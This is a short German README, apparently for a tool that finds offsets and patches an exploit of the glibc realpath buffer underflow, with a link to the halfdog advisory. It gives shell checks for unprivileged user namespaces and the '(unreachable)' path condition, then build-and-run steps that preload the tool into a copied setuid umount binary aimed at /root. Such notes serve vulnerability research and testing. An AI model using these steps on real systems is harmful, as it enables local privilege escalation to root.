
Werkzeuge zum Abrufen von Offsets und Hinzufügen von Patches für i386-Unterstützung
$ cat /proc/sys/kernel/unprivileged_userns_clone
Ausgabe:
1
Wenn die Datei "/proc/sys/kernel/unprivileged_userns_clone" nicht existiert:
$ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd; realpath .; kill -9 $!"
Die Ausgabe muss die Zeichenkette "(unreachable)" vor '/' enthalten:
[1] 12345
(unreachable)/home/user
Optionen werden über Umgebungsvariablen übergeben:
TRACE_DEBUG=1 - Wert zum Drucken von Debug-Informationen (Standard: 0)
STACK_SIZE=100 - Ausgabegröße des Stacks (Standard: 100)
Ausführung:
$ make
$ cp /bin/umount .
$ LD_PRELOAD="$(realpath tool.so)" TRACE_DEBUG=1 STACK_SIZE=100 ./umount /root
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/